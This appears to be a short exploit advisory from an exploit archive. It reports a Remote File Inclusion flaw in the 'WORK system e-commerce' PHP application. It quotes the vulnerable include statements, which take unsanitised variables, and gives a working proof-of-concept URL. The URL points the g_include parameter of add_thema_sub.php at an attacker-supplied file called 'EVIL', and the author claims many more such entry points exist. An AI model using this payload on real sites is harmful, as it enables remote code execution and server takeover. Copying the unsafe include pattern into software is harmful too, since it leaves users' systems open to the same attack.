WORK system e-commerce Remote File Inclusion Vulnerability

[mozi]

# Author: [mail]mozi2weed@yahoo.com[/mail] mozi

# WORK system e-commerce Remote File Inclusion Vulnerability

Download: ------------------------------------------------------------------

include'>http://sourceforge.net/project/showfiles.php?group_id=101493&package_id=189012&release_id=425081

------------------------------------------------------------------

include ($g_files_php."include_includes.inc");

include ($g_include."include_css.inc"); ?>

if ( $g_waiting_page == "ON") include ($g_include."include_waiting_page.inc");

_________________________________________________________________

http://site.com/[path]/administration/module/catalogue/add_thema_sub.php?g_include=EVIL

and thers many more ..